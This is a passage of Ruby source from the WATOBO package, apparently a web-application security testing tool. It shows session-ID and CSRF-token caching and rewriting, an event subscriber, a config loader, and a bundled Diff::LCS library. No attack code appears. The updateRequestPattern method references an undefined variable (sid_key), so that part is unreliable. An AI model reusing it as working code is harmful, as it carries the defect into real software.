{}) [ :ssl_client_cert, :ssl_client_key, :ssl_client_pass, :csrf_requests, :valid_sids, :sid_patterns, :logout_signatures, :logout_content_types, :update_valid_sids, :update_sids, :update_session, :update_contentlength, :login_chats, :follow_redirect ].each do |k| @session[k] = settings[k] if settings.has_key? k end end # this function updates specific patterns of a request, e.g. CSRF Tokens # Parameters: # request - the request which has to be updated # cache - the value store of already collected key-value-pairs # patterns - pattern expressions, similar to session-id-patterns, e.g. /name="(sessid)" value="([0-9a-zA-Z!-]*)"/ def updateRequestPattern(request, cache, patterns) request.map! {|line| res = line patterns.each do |pat| begin if line =~ /#{pat}/i then pattern_key = Regexp.quote($1.upcase) old_value = Regexp.quote($2) if cache.has_key?(sid_key) then if not old_value =~ /#{cache[sid_key]}/ then # sid value has changed and needs update # print "S" # puts "+ update sid #{sid_key}" # puts "-OLD: #{old_value}" # puts "-NEW: #{@session[:valid_sids][request.site][sid_key]}" # puts "---" # dummy = Regexp.quote(old_value) res = line.gsub!(/#{old_value}/, cache[sid_key]) if not res then puts "!!!could not update sid (#{sid_key})"; end # puts "->#{line}" end end end rescue => bang puts bang puts bang.backtrace if $DEBUG # puts @session.to_yaml end end res } end def applySessionSettings(prefs) [:update_valid_sids, :update_session, :update_contentlength, :valid_sids, :sid_patterns, :logout_signatures].each do |v| @@settings[v] = prefs[v] if prefs[v] end end end end watobo-1.0.1/lib/watobo/core/sid_cache.rb000066400000000000000000000053551366346341400202460ustar00rootroot00000000000000# @private module Watobo#:nodoc: all class SIDCache @caches = {} @caches_lock = Mutex.new @pattern_lock = Mutex.new attr :sids def self.patterns Watobo::Conf::SidCache.patterns end def clear @sids = {} end def initialize() @cache_lock = Mutex.new @sids = {} end def self.acquire(session) @caches_lock.synchronize do unless @caches.has_key? session @caches[session] = SIDCache.new() end end @caches[session] end def update_sids(site, response) begin #site = request.site @cache_lock.synchronize do response.each do |line| # puts line self.class.patterns.each do |pat| if line =~ /#{pat}/i then sid_key = Regexp.quote($1.upcase) sid_value = $2 puts "#{self} GOT NEW SID (#{sid_key}): #{sid_value}" @sids[site] ||= Hash.new @sids[site][sid_key] = sid_value end end end end rescue => bang puts bang puts bang.backtrace if $DEBUG end end def update_request(request) @cache_lock.synchronize do if @sids.has_key?(request.site) valid_sids = @sids[request.site] puts "* found sid for site: #{request.site}" if $DEBUG request.map!{ |line| res = line self.class.patterns.each do |pat| begin if line =~ /#{pat}/i then next if $~.length < 3 sid_key = Regexp.quote($1.upcase) old_value = $2 if valid_sids.has_key?(sid_key) then if not old_value =~ /#{@sids[request.site][sid_key]}/ then # sid value has changed and needs update Watobo.print_debug("#{self} update session", "#{old_value} - #{@sids[request.site][sid_key]}") if $DEBUG unless old_value.empty? res = line.gsub!(/#{Regexp.quote(old_value)}/, valid_sids[sid_key]) end if not res then puts "!!!could not update sid (#{sid_key})"; end end end end rescue => bang puts bang puts bang.backtrace if $DEBUG # puts @cache.to_yaml end end res } end end end end endwatobo-1.0.1/lib/watobo/core/subscriber.rb000066400000000000000000000013621366346341400205010ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Subscriber def subscribe(event, &callback) @event_dispatcher_listeners ||= Hash.new (@event_dispatcher_listeners[event] ||= []) << callback end def clearEvents(event) @event_dispatcher_listeners ||= Hash.new @event_dispatcher_listeners[event] ||= [] @event_dispatcher_listeners[event].clear end def notify(event, *args) @event_dispatcher_listeners ||= Hash.new if @event_dispatcher_listeners[event] # puts "NOTIFY: #{self}(:#{event}) [#{@event_dispatcher_listeners[event].length}]" if $DEBUG @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end end endwatobo-1.0.1/lib/watobo/defaults.rb000066400000000000000000000013741366346341400172200ustar00rootroot00000000000000# @private module Watobo#:nodoc: all def self.load_defaults config_path = File.expand_path(File.join(File.dirname(__FILE__),"..","..", "config")) # puts "* loading defaults from #{config_path}" Dir.glob("#{config_path}/*.yml").each do |cf| dummy = File.basename(cf).gsub!(/.yml/,'') #cc = dummy.strip.gsub(/[^[a-zA-Z\-_]]/,"").gsub( "-" , "_").split("_").map{ |s| s.downcase.capitalize }.join cc = Watobo::Utils.camelcase dummy begin puts cf settings = YAML.load_file(cf) settings = {} if !settings Watobo::Conf.add(cc, settings ) rescue => bang puts "[#{self}] Could not load config #{cf}" end end end end #puts "=== loading defaults ===" Watobo.load_defaults watobo-1.0.1/lib/watobo/external/000077500000000000000000000000001366346341400167015ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/external/diff/000077500000000000000000000000001366346341400176115ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/external/diff/lcs.rb000066400000000000000000001171731366346341400207310ustar00rootroot00000000000000#! /usr/env/bin ruby #-- # Copyright 2004 Austin Ziegler # adapted from: # Algorithm::Diff (Perl) by Ned Konz # Smalltalk by Mario I. Wolczko # implements McIlroy-Hunt diff algorithm # # This program is free software. It may be redistributed and/or modified # under the terms of the GPL version 2 (or later), the Perl Artistic # licence, or the Ruby licence. # # $Id: lcs.rb,v 1.9 2004/10/17 20:31:10 austin Exp $ #++ module Diff # = Diff::LCS 1.1.2 # Computes "intelligent" differences between two sequenced Enumerables. # This is an implementation of the McIlroy-Hunt "diff" algorithm for # Enumerable objects that include Diffable. # # Based on Mario I. Wolczko's Smalltalk version # (1.2, 1993) and Ned Konz's Perl version # (Algorithm::Diff). # # == Synopsis # require 'diff/lcs' # # seq1 = %w(a b c e h j l m n p) # seq2 = %w(b c d e f j k l m r s t) # # lcs = Diff::LCS.LCS(seq1, seq2) # diffs = Diff::LCS.diff(seq1, seq2) # sdiff = Diff::LCS.sdiff(seq1, seq2) # seq = Diff::LCS.traverse_sequences(seq1, seq2, callback_obj) # bal = Diff::LCS.traverse_balanced(seq1, seq2, callback_obj) # seq2 == Diff::LCS.patch(seq1, diffs) # seq2 == Diff::LCS.patch!(seq1, diffs) # seq1 == Diff::LCS.unpatch(seq2, diffs) # seq1 == Diff::LCS.unpatch!(seq2, diffs) # seq2 == Diff::LCS.patch(seq1, sdiff) # seq2 == Diff::LCS.patch!(seq1, sdiff) # seq1 == Diff::LCS.unpatch(seq2, sdiff) # seq1 == Diff::LCS.unpatch!(seq2, sdiff) # # Alternatively, objects can be extended with Diff::LCS: # # seq1.extend(Diff::LCS) # lcs = seq1.lcs(seq2) # diffs = seq1.diff(seq2) # sdiff = seq1.sdiff(seq2) # seq = seq1.traverse_sequences(seq2, callback_obj) # bal = seq1.traverse_balanced(seq2, callback_obj) # seq2 == seq1.patch(diffs) # seq2 == seq1.patch!(diffs) # seq1 == seq2.unpatch(diffs) # seq1 == seq2.unpatch!(diffs) # seq2 == seq1.patch(sdiff) # seq2 == seq1.patch!(sdiff) # seq1 == seq2.unpatch(sdiff) # seq1 == seq2.unpatch!(sdiff) # # Default extensions are provided for Array and String objects through # the use of 'diff/lcs/array' and 'diff/lcs/string'. # # == Introduction (by Mark-Jason Dominus) # # The following text is from the Perl documentation. The only # changes have been to make the text appear better in Rdoc. # # I once read an article written by the authors of +diff+; they said # that they hard worked very hard on the algorithm until they found the # right one. # # I think what they ended up using (and I hope someone will correct me, # because I am not very confident about this) was the `longest common # subsequence' method. In the LCS problem, you have two sequences of # items: # # a b c d f g h j q z # a b c d e f g i j k r x y z # # and you want to find the longest sequence of items that is present in # both original sequences in the same order. That is, you want to find a # new sequence *S* which can be obtained from the first sequence by # deleting some items, and from the second sequence by deleting other # items. You also want *S* to be as long as possible. In this case *S* # is: # # a b c d f g j z # # From there it's only a small step to get diff-like output: # # e h i k q r x y # + - + + - + + + # # This module solves the LCS problem. It also includes a canned function # to generate +diff+-like output. # # It might seem from the example above that the LCS of two sequences is # always pretty obvious, but that's not always the case, especially when # the two sequences have many repeated elements. For example, consider # # a x b y c z p d q # a b c a x b y c z # # A naive approach might start by matching up the +a+ and +b+ that # appear at the beginning of each sequence, like this: # # a x b y c z p d q # a b c a b y c z # # This finds the common subsequence +a b c z+. But actually, the LCS is # +a x b y c z+: # # a x b y c z p d q # a b c a x b y c z # # == Author # This version is by Austin Ziegler . # # It is based on the Perl Algorithm::Diff by Ned Konz # , copyright © 2000 - 2002 and the Smalltalk # diff version by Mario I. Wolczko , copyright © # 1993. Documentation includes work by Mark-Jason Dominus. # # == Licence # Copyright © 2004 Austin Ziegler # This program is free software; you can redistribute it and/or modify it # under the same terms as Ruby, or alternatively under the Perl Artistic # licence. # # == Credits # Much of the documentation is taken directly from the Perl # Algorithm::Diff implementation and was written originally by Mark-Jason # Dominus and later by Ned Konz. The basic Ruby # implementation was re-ported from the Smalltalk implementation, available # at ftp://st.cs.uiuc.edu/pub/Smalltalk/MANCHESTER/manchester/4.0/diff.st # # #sdiff and #traverse_balanced were written for the Perl version by Mike # Schilli . # # "The algorithm is described in A Fast Algorithm for Computing Longest # Common Subsequences, CACM, vol.20, no.5, pp.350-353, May 1977, with # a few minor improvements to improve the speed." module LCS VERSION = '1.1.2' end end module Diff::LCS # Returns an Array containing the longest common subsequence(s) between # +self+ and +other+. See Diff::LCS#LCS. # # lcs = seq1.lcs(seq2) def lcs(other, &block) #:yields self[ii] if there are matched subsequences: Diff::LCS.LCS(self, other, &block) end # Returns the difference set between +self+ and +other+. See # Diff::LCS#diff. def diff(other, callbacks = nil, &block) Diff::LCS::diff(self, other, callbacks, &block) end # Returns the balanced ("side-by-side") difference set between +self+ and # +other+. See Diff::LCS#sdiff. def sdiff(other, callbacks = nil, &block) Diff::LCS::sdiff(self, other, callbacks, &block) end # Traverses the discovered longest common subsequences between +self+ and # +other+. See Diff::LCS#traverse_sequences. def traverse_sequences(other, callbacks = nil, &block) traverse_sequences(self, other, callbacks || Diff::LCS::YieldingCallbacks, &block) end # Traverses the discovered longest common subsequences between +self+ and # +other+ using the alternate, balanced algorithm. See # Diff::LCS#traverse_balanced. def traverse_balanced(other, callbacks = nil, &block) traverse_balanced(self, other, callbacks || Diff::LCS::YieldingCallbacks, &block) end # Attempts to patch a copy of +self+ with the provided +patchset+. See # Diff::LCS#patch. def patch(patchset) Diff::LCS::patch(self.dup, patchset) end # Attempts to unpatch a copy of +self+ with the provided +patchset+. # See Diff::LCS#patch. def unpatch(patchset) Diff::LCS::unpatch(self.dup, patchset) end # Attempts to patch +self+ with the provided +patchset+. See # Diff::LCS#patch!. Does no autodiscovery. def patch!(patchset) Diff::LCS::patch!(self, patchset) end # Attempts to unpatch +self+ with the provided +patchset+. See # Diff::LCS#unpatch. Does no autodiscovery. def unpatch!(patchset) Diff::LCS::unpatch!(self, patchset) end end module Diff::LCS class << self # Given two sequenced Enumerables, LCS returns an Array containing their # longest common subsequences. # # lcs = Diff::LCS.LCS(seq1, seq2) # # This array whose contents is such that: # # lcs.each_with_index do |ee, ii| # assert(ee.nil? || (seq1[ii] == seq2[ee])) # end # # If a block is provided, the matching subsequences will be yielded from # +seq1+ in turn and may be modified before they are placed into the # returned Array of subsequences. def LCS(seq1, seq2, &block) #:yields seq1[ii] for each matched: matches = Diff::LCS.__lcs(seq1, seq2) ret = [] matches.each_with_index do |ee, ii| unless matches[ii].nil? if block_given? ret << (yield seq1[ii]) else ret << seq1[ii] end end end ret end # Diff::LCS.diff computes the smallest set of additions and deletions # necessary to turn the first sequence into the second, and returns a # description of these changes. # # See Diff::LCS::DiffCallbacks for the default behaviour. An alternate # behaviour may be implemented with Diff::LCS::ContextDiffCallbacks. # If a Class argument is provided for +callbacks+, #diff will attempt # to initialise it. If the +callbacks+ object (possibly initialised) # responds to #finish, it will be called. def diff(seq1, seq2, callbacks = nil, &block) # :yields diff changes: callbacks ||= Diff::LCS::DiffCallbacks if callbacks.kind_of?(Class) cb = callbacks.new rescue callbacks callbacks = cb end traverse_sequences(seq1, seq2, callbacks) callbacks.finish if callbacks.respond_to?(:finish) if block_given? res = callbacks.diffs.map do |hunk| if hunk.kind_of?(Array) hunk = hunk.map { |block| yield block } else yield hunk end end res else callbacks.diffs end end # Diff::LCS.sdiff computes all necessary components to show two sequences # and their minimized differences side by side, just like the Unix # utility sdiff does: # # old < - # same same # before | after # - > new # # See Diff::LCS::SDiffCallbacks for the default behaviour. An alternate # behaviour may be implemented with Diff::LCS::ContextDiffCallbacks. If # a Class argument is provided for +callbacks+, #diff will attempt to # initialise it. If the +callbacks+ object (possibly initialised) # responds to #finish, it will be called. def sdiff(seq1, seq2, callbacks = nil, &block) #:yields diff changes: callbacks ||= Diff::LCS::SDiffCallbacks if callbacks.kind_of?(Class) cb = callbacks.new rescue callbacks callbacks = cb end traverse_balanced(seq1, seq2, callbacks) callbacks.finish if callbacks.respond_to?(:finish) if block_given? res = callbacks.diffs.map do |hunk| if hunk.kind_of?(Array) hunk = hunk.map { |block| yield block } else yield hunk end end res else callbacks.diffs end end # Diff::LCS.traverse_sequences is the most general facility provided by this # module; +diff+ and +LCS+ are implemented as calls to it. # # The arguments to #traverse_sequences are the two sequences to # traverse, and a callback object, like this: # # traverse_sequences(seq1, seq2, Diff::LCS::ContextDiffCallbacks.new) # # #diff is implemented with #traverse_sequences. # # == Callback Methods # Optional callback methods are emphasized. # # callbacks#match:: Called when +a+ and +b+ are pointing # to common elements in +A+ and +B+. # callbacks#discard_a:: Called when +a+ is pointing to an # element not in +B+. # callbacks#discard_b:: Called when +b+ is pointing to an # element not in +A+. # callbacks#finished_a:: Called when +a+ has reached the end of # sequence +A+. # callbacks#finished_b:: Called when +b+ has reached the end of # sequence +B+. # # == Algorithm # a---+ # v # A = a b c e h j l m n p # B = b c d e f j k l m r s t # ^ # b---+ # # If there are two arrows (+a+ and +b+) pointing to elements of # sequences +A+ and +B+, the arrows will initially point to the first # elements of their respective sequences. #traverse_sequences will # advance the arrows through the sequences one element at a time, # calling a method on the user-specified callback object before each # advance. It will advance the arrows in such a way that if there are # elements A[ii] and B[jj] which are both equal and # part of the longest common subsequence, there will be some moment # during the execution of #traverse_sequences when arrow +a+ is pointing # to A[ii] and arrow +b+ is pointing to B[jj]. When # this happens, #traverse_sequences will call callbacks#match # and then it will advance both arrows. # # Otherwise, one of the arrows is pointing to an element of its sequence # that is not part of the longest common subsequence. # #traverse_sequences will advance that arrow and will call # callbacks#discard_a or callbacks#discard_b, depending # on which arrow it advanced. If both arrows point to elements that are # not part of the longest common subsequence, then #traverse_sequences # will advance one of them and call the appropriate callback, but it is # not specified which it will call. # # The methods for callbacks#match, callbacks#discard_a, # and callbacks#discard_b are invoked with an event comprising # the action ("=", "+", or "-", respectively), the indicies +ii+ and # +jj+, and the elements A[ii] and B[jj]. Return # values are discarded by #traverse_sequences. # # === End of Sequences # If arrow +a+ reaches the end of its sequence before arrow +b+ does, # #traverse_sequence try to call callbacks#finished_a with the # last index and element of +A+ (A[-1]) and the current index # and element of +B+ (B[jj]). If callbacks#finished_a # does not exist, then callbacks#discard_b will be called on # each element of +B+ until the end of the sequence is reached (the call # will be done with A[-1] and B[jj] for each element). # # If +b+ reaches the end of +B+ before +a+ reaches the end of +A+, # callbacks#finished_b will be called with the current index # and element of +A+ (A[ii]) and the last index and element of # +B+ (A[-1]). Again, if callbacks#finished_b does not # exist on the callback object, then callbacks#discard_a will # be called on each element of +A+ until the end of the sequence is # reached (A[ii] and B[-1]). # # There is a chance that one additional callbacks#discard_a or # callbacks#discard_b will be called after the end of the # sequence is reached, if +a+ has not yet reached the end of +A+ or +b+ # has not yet reached the end of +B+. def traverse_sequences(seq1, seq2, callbacks = Diff::LCS::SequenceCallbacks, &block) #:yields change events: matches = Diff::LCS.__lcs(seq1, seq2) run_finished_a = run_finished_b = false string = seq1.kind_of?(String) a_size = seq1.size b_size = seq2.size ai = bj = 0 (0 .. matches.size).each do |ii| b_line = matches[ii] ax = string ? seq1[ii, 1] : seq1[ii] bx = string ? seq2[bj, 1] : seq2[bj] if b_line.nil? unless ax.nil? event = Diff::LCS::ContextChange.new('-', ii, ax, bj, bx) event = yield event if block_given? callbacks.discard_a(event) end else loop do break unless bj < b_line bx = string ? seq2[bj, 1] : seq2[bj] event = Diff::LCS::ContextChange.new('+', ii, ax, bj, bx) event = yield event if block_given? callbacks.discard_b(event) bj += 1 end bx = string ? seq2[bj, 1] : seq2[bj] event = Diff::LCS::ContextChange.new('=', ii, ax, bj, bx) event = yield event if block_given? callbacks.match(event) bj += 1 end ai = ii end ai += 1 # The last entry (if any) processed was a match. +ai+ and +bj+ point # just past the last matching lines in their sequences. while (ai < a_size) or (bj < b_size) # last A? if ai == a_size and bj < b_size if callbacks.respond_to?(:finished_a) and not run_finished_a ax = string ? seq1[-1, 1] : seq1[-1] bx = string ? seq2[bj, 1] : seq2[bj] event = Diff::LCS::ContextChange.new('>', (a_size - 1), ax, bj, bx) event = yield event if block_given? callbacks.finished_a(event) run_finished_a = true else ax = string ? seq1[ai, 1] : seq1[ai] loop do bx = string ? seq2[bj, 1] : seq2[bj] event = Diff::LCS::ContextChange.new('+', ai, ax, bj, bx) event = yield event if block_given? callbacks.discard_b(event) bj += 1 break unless bj < b_size end end end # last B? if bj == b_size and ai < a_size if callbacks.respond_to?(:finished_b) and not run_finished_b ax = string ? seq1[ai, 1] : seq1[ai] bx = string ? seq2[-1, 1] : seq2[-1] event = Diff::LCS::ContextChange.new('<', ai, ax, (b_size - 1), bx) event = yield event if block_given? callbacks.finished_b(event) run_finished_b = true else bx = string ? seq2[bj, 1] : seq2[bj] loop do ax = string ? seq1[ai, 1] : seq1[ai] event = Diff::LCS::ContextChange.new('-', ai, ax, bj, bx) event = yield event if block_given? callbacks.discard_a(event) ai += 1 break unless bj < b_size end end end if ai < a_size ax = string ? seq1[ai, 1] : seq1[ai] bx = string ? seq2[bj, 1] : seq2[bj] event = Diff::LCS::ContextChange.new('-', ai, ax, bj, bx) event = yield event if block_given? callbacks.discard_a(event) ai += 1 end if bj < b_size ax = string ? seq1[ai, 1] : seq1[ai] bx = string ? seq2[bj, 1] : seq2[bj] event = Diff::LCS::ContextChange.new('+', ai, ax, bj, bx) event = yield event if block_given? callbacks.discard_b(event) bj += 1 end end end # #traverse_balanced is an alternative to #traverse_sequences. It # uses a different algorithm to iterate through the entries in the # computed longest common subsequence. Instead of viewing the changes as # insertions or deletions from one of the sequences, #traverse_balanced # will report changes between the sequences. To represent a # # The arguments to #traverse_balanced are the two sequences to traverse # and a callback object, like this: # # traverse_balanced(seq1, seq2, Diff::LCS::ContextDiffCallbacks.new) # # #sdiff is implemented with #traverse_balanced. # # == Callback Methods # Optional callback methods are emphasized. # # callbacks#match:: Called when +a+ and +b+ are pointing # to common elements in +A+ and +B+. # callbacks#discard_a:: Called when +a+ is pointing to an # element not in +B+. # callbacks#discard_b:: Called when +b+ is pointing to an # element not in +A+. # callbacks#change:: Called when +a+ and +b+ are pointing # to the same relative position, but # A[a] and B[b] are # not the same; a change has # occurred. # # #traverse_balanced might be a bit slower than #traverse_sequences, # noticable only while processing huge amounts of data. # # The +sdiff+ function of this module is implemented as call to # #traverse_balanced. # # == Algorithm # a---+ # v # A = a b c e h j l m n p # B = b c d e f j k l m r s t # ^ # b---+ # # === Matches # If there are two arrows (+a+ and +b+) pointing to elements of # sequences +A+ and +B+, the arrows will initially point to the first # elements of their respective sequences. #traverse_sequences will # advance the arrows through the sequences one element at a time, # calling a method on the user-specified callback object before each # advance. It will advance the arrows in such a way that if there are # elements A[ii] and B[jj] which are both equal and # part of the longest common subsequence, there will be some moment # during the execution of #traverse_sequences when arrow +a+ is pointing # to A[ii] and arrow +b+ is pointing to B[jj]. When # this happens, #traverse_sequences will call callbacks#match # and then it will advance both arrows. # # === Discards # Otherwise, one of the arrows is pointing to an element of its sequence # that is not part of the longest common subsequence. # #traverse_sequences will advance that arrow and will call # callbacks#discard_a or callbacks#discard_b, # depending on which arrow it advanced. # # === Changes # If both +a+ and +b+ point to elements that are not part of the longest # common subsequence, then #traverse_sequences will try to call # callbacks#change and advance both arrows. If # callbacks#change is not implemented, then # callbacks#discard_a and callbacks#discard_b will be # called in turn. # # The methods for callbacks#match, callbacks#discard_a, # callbacks#discard_b, and callbacks#change are # invoked with an event comprising the action ("=", "+", "-", or "!", # respectively), the indicies +ii+ and +jj+, and the elements # A[ii] and B[jj]. Return values are discarded by # #traverse_balanced. # # === Context # Note that +ii+ and +jj+ may not be the same index position, even if # +a+ and +b+ are considered to be pointing to matching or changed # elements. def traverse_balanced(seq1, seq2, callbacks = Diff::LCS::BalancedCallbacks) matches = Diff::LCS.__lcs(seq1, seq2) a_size = seq1.size b_size = seq2.size ai = bj = mb = 0 ma = -1 string = seq1.kind_of?(String) # Process all the lines in the match vector. loop do # Find next match indices +ma+ and +mb+ loop do ma += 1 break unless ma < matches.size and matches[ma].nil? end break if ma >= matches.size # end of matches? mb = matches[ma] # Change(seq2) while (ai < ma) or (bj < mb) ax = string ? seq1[ai, 1] : seq1[ai] bx = string ? seq2[bj, 1] : seq2[bj] case [(ai < ma), (bj < mb)] when [true, true] if callbacks.respond_to?(:change) event = Diff::LCS::ContextChange.new('!', ai, ax, bj, bx) event = yield event if block_given? callbacks.change(event) ai += 1 bj += 1 else event = Diff::LCS::ContextChange.new('-', ai, ax, bj, bx) event = yield event if block_given? callbacks.discard_a(event) ai += 1 ax = string ? seq1[ai, 1] : seq1[ai] event = Diff::LCS::ContextChange.new('+', ai, ax, bj, bx) event = yield event if block_given? callbacks.discard_b(event) bj += 1 end when [true, false] event = Diff::LCS::ContextChange.new('-', ai, ax, bj, bx) event = yield event if block_given? callbacks.discard_a(event) ai += 1 when [false, true] event = Diff::LCS::ContextChange.new('+', ai, ax, bj, bx) event = yield event if block_given? callbacks.discard_b(event) bj += 1 end end # Match ax = string ? seq1[ai, 1] : seq1[ai] bx = string ? seq2[bj, 1] : seq2[bj] event = Diff::LCS::ContextChange.new('=', ai, ax, bj, bx) event = yield event if block_given? callbacks.match(event) ai += 1 bj += 1 end while (ai < a_size) or (bj < b_size) ax = string ? seq1[ai, 1] : seq1[ai] bx = string ? seq2[bj, 1] : seq2[bj] case [(ai < a_size), (bj < b_size)] when [true, true] if callbacks.respond_to?(:change) event = Diff::LCS::ContextChange.new('!', ai, ax, bj, bx) event = yield event if block_given? callbacks.change(event) ai += 1 bj += 1 else event = Diff::LCS::ContextChange.new('-', ai, ax, bj, bx) event = yield event if block_given? callbacks.discard_a(event) ai += 1 ax = string ? seq1[ai, 1] : seq1[ai] event = Diff::LCS::ContextChange.new('+', ai, ax, bj, bx) event = yield event if block_given? callbacks.discard_b(event) bj += 1 end when [true, false] event = Diff::LCS::ContextChange.new('-', ai, ax, bj, bx) event = yield event if block_given? callbacks.discard_a(event) ai += 1 when [false, true] event = Diff::LCS::ContextChange.new('+', ai, ax, bj, bx) event = yield event if block_given? callbacks.discard_b(event) bj += 1 end end end PATCH_MAP = { #:nodoc: :patch => { '+' => '+', '-' => '-', '!' => '!', '=' => '=' }, :unpatch => { '+' => '-', '-' => '+', '!' => '!', '=' => '=' } } # Given a patchset, convert the current version to the new # version. If +direction+ is not specified (must be # :patch or :unpatch), then discovery of the # direction of the patch will be attempted. def patch(src, patchset, direction = nil) string = src.kind_of?(String) # Start with a new empty type of the source's class res = src.class.new # Normalize the patchset. patchset = __normalize_patchset(patchset) direction ||= Diff::LCS.__diff_direction(src, patchset) direction ||= :patch ai = bj = 0 patchset.each do |change| # Both Change and ContextChange support #action action = PATCH_MAP[direction][change.action] case change when Diff::LCS::ContextChange case direction when :patch el = change.new_element op = change.old_position np = change.new_position when :unpatch el = change.old_element op = change.new_position np = change.old_position end case action when '-' # Remove details from the old string while ai < op res << (string ? src[ai, 1] : src[ai]) ai += 1 bj += 1 end ai += 1 when '+' while bj < np res << (string ? src[ai, 1] : src[ai]) ai += 1 bj += 1 end res << el bj += 1 when '=' # This only appears in sdiff output with the SDiff callback. # Therefore, we only need to worry about dealing with a single # element. res << el ai += 1 bj += 1 when '!' while ai < op res << (string ? src[ai, 1] : src[ai]) ai += 1 bj += 1 end bj += 1 ai += 1 res << el end when Diff::LCS::Change case action when '-' while ai < change.position res << (string ? src[ai, 1] : src[ai]) ai += 1 bj += 1 end ai += 1 when '+' while bj < change.position res << (string ? src[ai, 1] : src[ai]) ai += 1 bj += 1 end bj += 1 res << change.element end end end while ai < src.size res << (string ? src[ai, 1] : src[ai]) ai += 1 bj += 1 end res end # Given a set of patchset, convert the current version to the prior # version. Does no auto-discovery. def unpatch!(src, patchset) Diff::LCS.patch(src, patchset, :unpatch) end # Given a set of patchset, convert the current version to the next # version. Does no auto-discovery. def patch!(src, patchset) Diff::LCS.patch(src, patchset, :patch) end # private # Compute the longest common subsequence between the sequenced Enumerables # +a+ and +b+. The result is an array whose contents is such that # # result = Diff::LCS.__lcs(a, b) # result.each_with_index do |e, ii| # assert_equal(a[ii], b[e]) unless e.nil? # end def __lcs(a, b) a_start = b_start = 0 a_finish = a.size - 1 b_finish = b.size - 1 vector = [] # Prune off any common elements at the beginning... while (a_start <= a_finish) and (b_start <= b_finish) and (a[a_start] == b[b_start]) vector[a_start] = b_start a_start += 1 b_start += 1 end # Now the end... while (a_start <= a_finish) and (b_start <= b_finish) and (a[a_finish] == b[b_finish]) vector[a_finish] = b_finish a_finish -= 1 b_finish -= 1 end # Now, compute the equivalence classes of positions of elements. b_matches = Diff::LCS.__position_hash(b, b_start .. b_finish) thresh = [] links = [] (a_start .. a_finish).each do |ii| ai = a.kind_of?(String) ? a[ii, 1] : a[ii] bm = b_matches[ai] kk = nil bm.reverse_each do |jj| if kk and (thresh[kk] > jj) and (thresh[kk - 1] < jj) thresh[kk] = jj else kk = Diff::LCS.__replace_next_larger(thresh, jj, kk) end links[kk] = [ (kk > 0) ? links[kk - 1] : nil, ii, jj ] unless kk.nil? end end unless thresh.empty? link = links[thresh.size - 1] while not link.nil? vector[link[1]] = link[2] link = link[0] end end vector end # Find the place at which +value+ would normally be inserted into the # Enumerable. If that place is already occupied by +value+, do nothing # and return +nil+. If the place does not exist (i.e., it is off the end # of the Enumerable), add it to the end. Otherwise, replace the element # at that point with +value+. It is assumed that the Enumerable's values # are numeric. # # This operation preserves the sort order. def __replace_next_larger(enum, value, last_index = nil) # Off the end? if enum.empty? or (value > enum[-1]) enum << value return enum.size - 1 end # Binary search for the insertion point last_index ||= enum.size first_index = 0 while (first_index <= last_index) ii = (first_index + last_index) >> 1 found = enum[ii] if value == found return nil elsif value > found first_index = ii + 1 else last_index = ii - 1 end end # The insertion point is in first_index; overwrite the next larger # value. enum[first_index] = value return first_index end # If +vector+ maps the matching elements of another collection onto this # Enumerable, compute the inverse +vector+ that maps this Enumerable # onto the collection. (Currently unused.) def __inverse_vector(a, vector) inverse = a.dup (0 ... vector.size).each do |ii| inverse[vector[ii]] = ii unless vector[ii].nil? end inverse end # Returns a hash mapping each element of an Enumerable to the set of # positions it occupies in the Enumerable, optionally restricted to the # elements specified in the range of indexes specified by +interval+. def __position_hash(enum, interval = 0 .. -1) hash = Hash.new { |hh, kk| hh[kk] = [] } interval.each do |ii| kk = enum.kind_of?(String) ? enum[ii, 1] : enum[ii] hash[kk] << ii end hash end # Examine the patchset and the source to see in which direction the # patch should be applied. # # WARNING: By default, this examines the whole patch, so this could take # some time. This also works better with Diff::LCS::ContextChange or # Diff::LCS::Change as its source, as an array will cause the creation # of one of the above. def __diff_direction(src, patchset, limit = nil) count = left = left_miss = right = right_miss = 0 string = src.kind_of?(String) patchset.each do |change| count += 1 case change when Diff::LCS::Change # With a simplistic change, we can't tell the difference between # the left and right on '!' actions, so we ignore those. On '=' # actions, if there's a miss, we miss both left and right. element = string ? src[change.position, 1] : src[change.position] case change.action when '-' if element == change.element left += 1 else left_miss += 1 end when '+' if element == change.element right += 1 else right_miss += 1 end when '=' if element != change.element left_miss += 1 right_miss += 1 end end when Diff::LCS::ContextChange case change.action when '-' # Remove details from the old string element = string ? src[change.old_position, 1] : src[change.old_position] if element == change.old_element left += 1 else left_miss += 1 end when '+' element = string ? src[change.new_position, 1] : src[change.new_position] if element == change.new_element right += 1 else right_miss += 1 end when '=' le = string ? src[change.old_position, 1] : src[change.old_position] re = string ? src[change.new_position, 1] : src[change.new_position] left_miss += 1 if le != change.old_element right_miss += 1 if re != change.new_element when '!' element = string ? src[change.old_position, 1] : src[change.old_position] if element == change.old_element left += 1 else element = string ? src[change.new_position, 1] : src[change.new_position] if element == change.new_element right += 1 else left_miss += 1 right_miss += 1 end end end end break if not limit.nil? and count > limit end no_left = (left == 0) and (left_miss >= 0) no_right = (right == 0) and (right_miss >= 0) case [no_left, no_right] when [false, true] return :patch when [true, false] return :unpatch else raise "The provided patchset does not appear to apply to the provided value as either source or destination value." end end # Normalize the patchset. A patchset is always a sequence of changes, but # how those changes are represented may vary, depending on how they were # generated. In all cases we support, we also support the array # representation of the changes. The formats are: # # [ # patchset <- Diff::LCS.diff(a, b) # [ # one or more hunks # Diff::LCS::Change # one or more changes # ] ] # # [ # patchset, equivalent to the above # [ # one or more hunks # [ action, line, value ] # one or more changes # ] ] # # [ # patchset <- Diff::LCS.diff(a, b, Diff::LCS::ContextDiffCallbacks) # # OR <- Diff::LCS.sdiff(a, b, Diff::LCS::ContextDiffCallbacks) # [ # one or more hunks # Diff::LCS::ContextChange # one or more changes # ] ] # # [ # patchset, equivalent to the above # [ # one or more hunks # [ action, [ old line, old value ], [ new line, new value ] ] # # one or more changes # ] ] # # [ # patchset <- Diff::LCS.sdiff(a, b) # # OR <- Diff::LCS.diff(a, b, Diff::LCS::SDiffCallbacks) # Diff::LCS::ContextChange # one or more changes # ] # # [ # patchset, equivalent to the above # [ action, [ old line, old value ], [ new line, new value ] ] # # one or more changes # ] # # The result of this will be either of the following. # # [ # patchset # Diff::LCS::ContextChange # one or more changes # ] # # [ # patchset # Diff::LCS::Change # one or more changes # ] # # If either of the above is provided, it will be returned as such. # def 